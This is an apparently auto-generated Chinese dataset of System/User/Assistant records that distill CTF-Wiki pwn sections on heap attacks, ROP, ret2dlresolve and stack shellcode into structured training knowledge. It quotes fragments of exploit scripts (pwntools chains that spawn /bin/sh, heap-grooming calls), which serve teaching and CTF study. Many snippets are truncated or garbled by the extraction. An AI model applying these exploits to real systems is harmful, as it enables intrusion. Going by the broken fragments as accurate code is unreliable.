- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

演示

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「通过 __malloc_hook 直接算出」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`
标题：Unsorted Bin Attack
章节：Unsorted Bin Attack > Unsorted Bin Leak > Leak 原理 > 通过 __malloc_hook 直接算出
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“通过 __malloc_hook 直接算出”展开。
- 以 pwntools 为例 ``python main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10 ` 这样就可以获得 main_arena` 与基地址的偏移了。
- 比较巧合的是，main_arena 和 __malloc_hook 的地址差是 0x10，而大多数的 libc 都可以直接查出 __malloc_hook 的地址，这样可以大幅减小工作量。

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 1 行，首行 `main_arena_offset = ELF("libc.so.6").symbols["__malloc_hook"] + 0x10`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

通过 __malloc_hook 直接算出

Unsorted Bin Attack
Unsorted Bin Leak
Leak 原理
通过 __malloc_hook 直接算出

堆 AI安全 漏洞利用 pwn linux user-mode heap code:python

Unsorted Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「__tcache_init()」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`
标题：tcache
章节：define TCACHE_MAX_BINS 64 > 源码分析 > __tcache_init()
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“__tcache_init()”展开。
- 其中 MAYBE_INIT_TCACHE () 在 tcache 为空（即第一次 malloc）时调用了 tcache_init()，直接查看 tcache_init() source code ``C tcache_init(void) { mstate ar_ptr;
- const size_t bytes = sizeof (tcache_perthread_struct);
- // 找到可用的 arena victim = _int_malloc (ar_ptr, bytes);
- // 申请一个 sizeof(tcache_perthread_struct) 大小的 chunk if (!
- = NULL) { ar_ptr = arena_get_retry (ar_ptr, bytes);

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- C: 27 行，首行 `tcache_init(void)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

__tcache_init()

define TCACHE_MAX_BINS 64
源码分析
__tcache_init()

tcache


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md` 中的章节「多线程支持」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md`
标题：堆概述
章节：堆概述 > 堆的基本操作 > 多线程支持
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“多线程支持”展开。
- alloc.ppt/mthread$ `` 第一个线程malloc后， 我们可以从下面输出看出线程1的堆段被建立了。
- 因此这表明该线程申请的堆时，背后对应的函数为mmap函数。
- 同时，我们可以看出实际真的分配给程序的内存为1M(b7500000-b7600000)。
- 而且它所在的位置为内存映射段区域，同样大小也是132KB(b7500000-b7521000)。
- 而且，只有132KB的部分具有可读可写权限，这一块连续的区域成为thread arena。

关键术语：
- 堆
- 栈
- AI安全
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 3 行，首行 `**第一个线程malloc后**， 我们可以从下面输出看出线程1的堆段被建立了。而且它所在的位置为内存映射段区域，同样大小也是132KB(b7500000-b7521000)。因此这表明该线程申请的堆时，背后对应的函数为mmap函数。...`
- plain: 1 行，首行 `**在第一个线程释放内存后**， 我们可以从下面的输出看到，这样释放内存同样不会把内存重新给系统。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

多线程支持

堆概述 堆的基本操作 多线程支持

堆概述


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「配置文件系统」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`
标题：搭建内核运行环境
章节：搭建内核运行环境 > 使用 BusyBox 搭建基本的文件系统 > 配置文件系统
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“配置文件系统”展开。
- ``shell $ cd _install $ mkdir -pv {bin,sbin,etc,proc,sys,dev,home/ctf,root,tmp,lib64,lib/x86_64-linux-gnu,usr/{bin,sbin}} $ touch etc/inittab $ mkdir etc/init.d $ touch etc/init.d/rcS $ chmod +x ./etc/init.d/rcS ``
- ``shell ::sysinit:/etc/init.d/rcS ::askfirst:/bin/login ::ctrlaltdel:/sbin/reboot ::shutdown:/sbin/swapoff -a ::shutdown:/bin/umount -a -r ::restart:/sbin/init ``
- 在上面的文件中指定了系统初始化脚本为 etc/init.d/rcS，因此接下来我们配置这个文件写入如下内容，主要是挂载各种文件系统，以及设置各目录的权限，并创建一个非特权用户：
- ```bash #!/bin/sh chown -R root:root / chmod 700 /root chown -R ctf:ctf /home/ctf
- mount -t proc none /proc mount -t sysfs none /sys mount -t tmpfs tmpfs /tmp mkdir /dev/pts mount -t devpts devpts /dev/pts

关键术语：
- pwn
- linux
- kernel-mode
- environment
- code:shell
- code:bash

代码/命令片段线索：
- shell: 6 行，首行 `$ cd _install`
- shell: 6 行，首行 `::sysinit:/etc/init.d/rcS`
- bash: 15 行，首行 `#!/bin/sh`
- shell: 1 行，首行 `$ chmod +x ./etc/init.d/rcS`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

配置文件系统

搭建内核运行环境
使用 BusyBox 搭建基本的文件系统
配置文件系统

pwn linux kernel-mode environment code:shell code:bash

搭建内核运行环境


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「print_note」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`
标题：Use After Free
章节：Use After Free > 例子 > 功能分析 > print_note
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“print_note”展开。
- // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u);
- if ( v1 < 0 || v1 >= count ) { puts("Out of bound!
- } if ( notelist[v1] ) notelist[v1]->put(notelist[v1]);
- print_note就是简单的根据给定的note的索引来输出对应索引的note的内容。
- ``c unsigned int print_note() { int v1;

关键术语：
- UAF
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 18 行，首行 `unsigned int print_note()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

print_note

Use After Free


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/user-mode/stackoverflow/shellcode-in-stack.md`
标题：执行 Shellcode
章节：执行 Shellcode > 介绍 > 示例
路径分类：pwn / pwn/windows/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“示例”展开。
- 下面给出一个经典例子，验证程序溢出后执行 shellcode，编译的环境为 winxp 工具为 vc6.0。
- } void main() { int valid_flag =0;
- 文件: ./figure/demo2-2.png] 输入的字符串会被复制到栈中 0012FAE4 的位置。
- 文件: ./figure/demo2-3.png] 因为通过合理的 padding 控制了返回地址到 0012FAE4，所以在函数返回时寄存器 EIP 的值为 0012FAE4，这时系统会认为栈中的数据为机器码，程序就会执行地址为 0012FAE4 的代码。
- 可以先生成50 BYTES 的 padding 比较与返回地址的距离，最后确定为60 BYTES 后为返回地址。

关键术语：
- 边界/溢出
- 栈
- AI安全
- pwn
- windows
- user-mode
- stackoverflow
- code:c

代码/命令片段线索：
- c: 34 行，首行 `#include <stdio.h>`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

示例

边界/溢出 栈 AI安全 pwn windows user-mode stackoverflow code:c

执行 Shellcode


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：ret2dlresolve > 原理
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- 所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号，那么攻击就达成了。
- 这也是 ret2dlresolve 攻击的核心所在。
- 在 Linux 中，程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。
- 那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢？
- 具体的，动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/mem-virtualization.md` 中的章节「影子页表 （shadow page table）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/mem-virtualization.md`
标题：内存虚拟化
章节：内存虚拟化 > 纯软件实现内存虚拟化 > 影子页表 （shadow page table）
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 本节主题围绕“影子页表 （shadow page table）”展开。
- 以 Intel 为例，由于读写 CR3 寄存器（存放页顶级表指针）的操作是敏感指令，我们的 Hypervisor 可以很轻易地截获 VM 的这个操作，并将页表替换为存放 GVA→HPA 映射关系的影子页表，这样就能直接完成由 GVA 到 HPA 的转换过程。
- [图片文件: ./figure/shadow_pt.png] 为了实现影子页表，我们本质上需要实现MMU 虚拟化： - Guest VM 所能看到与操作的实际都上是虚拟的 MMU，真正载入 MMU 的页表是由 Hypevisor 完成翻译后所产生的影子页表。
- 不过这种方法的缺点就是我们需要为 Guest VM 中的每套页表都独立维护一份影子页表，且需要多次在 VMM 与 VM 间进行切换，这有着不小的开销。
- 在早期的时候 Intel 硬件对虚拟化并没有很好的支持，因此 Hypervisor 只能先在软件层面进行优化——影子页表（Shadow Page Table）应运而生。
- 影子页表中的访问权限为只读的，当 Guest 想要读写页表时便能被 Hypervisor 捕获到这个操作并代为处理。

关键术语：
- pwn
- virtualization
- basic-knowledge
- mem-virtualization.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

影子页表 （shadow page table）

内存虚拟化
纯软件实现内存虚拟化
影子页表 （shadow page table）

pwn virtualization basic-knowledge mem-virtualization.md

内存虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「确定偏移」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：DEBUG("b *0x4006B9\nc") > Stack smash > 32C3 CTF readme > 确定偏移
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定偏移”展开。
- 首先下断点在 main 函数入口处，如下 ``asm gef➤ b 0x00000000004006D0 Breakpoint 1 at 0x4006d0 gef➤ r Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes Breakpoint 1, 0x00000000004006d0 in ?
- 同时0x00007fffffffdc58 处保留着该地址，所以我们真正需要的地址是 0x00007fffffffdc58。
- 此外，根据汇编代码 `asm .text:00000000004007E0 push rbp .text:00000000004007E1 mov esi, offset aHelloWhatSYour ;
- 下面，我们确定 argv[0] 距离读取的字符串的偏移。
- Breakpoint 2, 0x000000000040080e in ?

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow
- code:asm
- code:python

代码/命令片段线索：
- asm: 29 行，首行 `gef➤ b *0x00000000004006D0`
- asm: 11 行，首行 `.text:00000000004007E0 push rbp`
- asm: 32 行，首行 `gef➤ b *0x000000000040080E`
- python: 4 行，首行 `>>> 0x00007fffffffdc58-0x7fffffffda40`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定偏移

DEBUG("b *0x4006B9\nc")
Stack smash
32C3 CTF readme
确定偏移

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow code:asm code:python

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md`
标题：glibc 2.24下 IO_FILE 的利用
章节：glibc 2.24下 IO_FILE 的利用 > 介绍
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“介绍”展开。
- 这里的检查使得以往使用vtable进行利用的技术很难实现
- If validation fails, terminate the process. / static inline const struct _IO_jump_t IO_validate_vtable (const struct _IO_jump_t vtable) { / Fast path: The vtable pointer is within the __libc_IO_vtables section. / uintptr_t section_length = __stop___libc_IO_...
- ``C / Check if unknown vtable pointers are permitted;
- otherwise, terminate the process. / void _IO_vtable_check (void) attribute_hidden;
- uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- io-file
- code:c

代码/命令片段线索：
- C: 19 行，首行 `/* Check if unknown vtable pointers are permitted; otherwise,`
- C: 32 行，首行 `void attribute_hidden`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

介绍

AI安全 漏洞利用 pwn linux user-mode io-file code:c

glibc 2.24下 IO_FILE 的利用


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`
标题：House Of Force
章节：House Of Force > HITCON training lab 11 > 基本信息
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本信息”展开。
- ``shell ➜ hitcontraning_lab11 git:(master) file bamboobox bamboobox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=595428ebf89c9bf7b914dd1d2501af50d47bbb...

关键术语：
- 堆
- 栈
- pwn
- linux
- user-mode
- heap
- code:shell

代码/命令片段线索：
- shell: 9 行，首行 `➜ hitcontraning_lab11 git:(master) file bamboobox`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本信息

House Of Force
HITCON training lab 11
基本信息

House Of Force


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「stage 2」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：write "/bin/sh" > stage 2
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“stage 2”展开。
- 在这一阶段，我们将会进一步利用 _dl_runtime_resolve 相关的知识来控制程序执行 write 函数。
- 其实，我们也可以跳转到 0x080483C6 地址处，利用原有的指令来提供 write 函数的偏移，并跳转到 plt0。
- ' ' .plt:080483CB jmp sub_8048370 ` 具体代码如下 ``python from pwn import elf = ELF('./main_partial_relro_32') r = process('./main_partial_relro_32') rop = ROP('./main_partial_relro_32') offset = 112 bss_addr = elf.bss() r.recvuntil('Welcome to XDCTF2015~!
- CODE XREF: main+8A↓p .plt:080483C0 .plt:080483C0 fd = dword ptr 4 .plt:080483C0 buf = dword ptr 8 .plt:080483C0 n = dword ptr 0Ch .plt:080483C0 .plt:080483C0 jmp ds:off_804A01C .plt:080483C0 _write endp .plt:080483C0 .plt:080483C6 ;
- 这里，我们可以直接使用 write plt 中提供的偏移，即 0x080483C6 处所给出的 0x20。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 37 行，首行 `.plt:08048370 ; ===========================================================================`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

stage 2

边界/溢出 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「write "/bin/sh"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：write "/bin/sh"
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“write "/bin/sh"”展开。
- rop = ROP('./main_partial_relro_32') sh = "/bin/sh" rop.write(1, base_stage + 80, len(sh)) rop.raw('a' (80 - len(rop.chain()))) rop.raw(sh) rop.raw('a' (100 - len(rop.chain()))) r.sendline(rop.chain())
- ``shell ❯ python stage1.py [] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Sta...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `结果如下`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

write "/bin/sh"

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「gadget」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > ret2csu > 思考 > gadget
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 其实，除了上述这个gadgets，gcc默认还会编译进去一些其它的函数 ``text _init _start call_gmon_start deregister_tm_clones register_tm_clones __do_global_dtors_aux frame_dummy __libc_csu_init __libc_csu_fini _fini ` 我们也可以尝试利用其中的一些代码来进行执行。
- 需要一说的是，在上面的 libc_csu_init 中我们主要利用了以下寄存器 - 利用尾部代码控制了rbx，rbp，r12，r13，r14，r15。
- 利用中间部分的代码控制了rdx，rsi，edi。
- 所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令，只要可以确保程序不崩溃。
- 其中，0x000000000040061A 是正常的起始地址，可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器，在0x0000000000400621 处可以控制 rsi寄存器。
- 而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:text
- code:asm

代码/命令片段线索：
- text: 10 行，首行 `_init`
- asm: 47 行，首行 `gef➤ x/5i 0x000000000040061A`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

gadget

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow code:text code:asm

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「print(rop.dump())」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：print(rop.dump())
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“print(rop.dump())”展开。
- assert(len(rop.chain())<=256) rop.raw("a"*(256-len(rop.chain()))) p.send(rop.chain()) p.send(p32(0x080498E0)) p.send(dynstr) p.send("/bin/sh\x00") p.interactive() ```
- ``python ❯ python exp-no-relro.py [+] Starting local process './main_no_relro_32': pid 35093 [] '/mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/no-relro/main_no_relro_32' Arch: i386-32-little RELRO: No RELRO Stack: No canary f...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `运行效果如下`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

print(rop.dump())

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237”展开。
- rop.read(0,dlresolve.data_addr) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() io = process("./main_partial_relro_32") io.recvuntil("Welcome to XDCTF2015~!

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `结果如下`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「_Shadow SSDT：GUI程序的 SSDT_」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`
标题：基础知识
章节：基础知识 > 系统调用 > 二、系统服务描述符表 > _Shadow SSDT：GUI程序的 SSDT_
路径分类：pwn / pwn/windows/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“_Shadow SSDT：GUI程序的 SSDT_”展开。
- 影子系统服务描述符表（Shadow System Service Descriptor Table，简称 Shadow SSDT ）是GUI 程序所专用的一张 SSDT，相比起 SSDT 而言其额外多了一张负责图形相关系统调用的子表 W32pServiceTable ，位于 win32k.sys 即 图形子系统 中： > SSDT 和 Shadow SSDT 第一张子表都是 KiServiceTable ，对应 NT kernel 的常规系统调用。
- [图片: 注意这里指向 SystemServiceTable 不是指针而是展开;

关键术语：
- pwn
- windows
- kernel-mode
- basic-knowledge

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

_Shadow SSDT：GUI程序的 SSDT_

基础知识
系统调用
二、系统服务描述符表
_Shadow SSDT：GUI程序的 SSDT_

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「49」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：49
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“49”展开。
- add(0x2A50,'addralign') # 50 #add(0x4A50,'addralign') # 50
- add(0xFF8,'large bin') # 51 add(0x18,'protect') # 52
- delete(51) add(0x2000,'push to large bin') # 51 add(0x28,p64(0) + p64(0x241) + '\x28') # 53 fd->bk : 0xA0 - 0x18
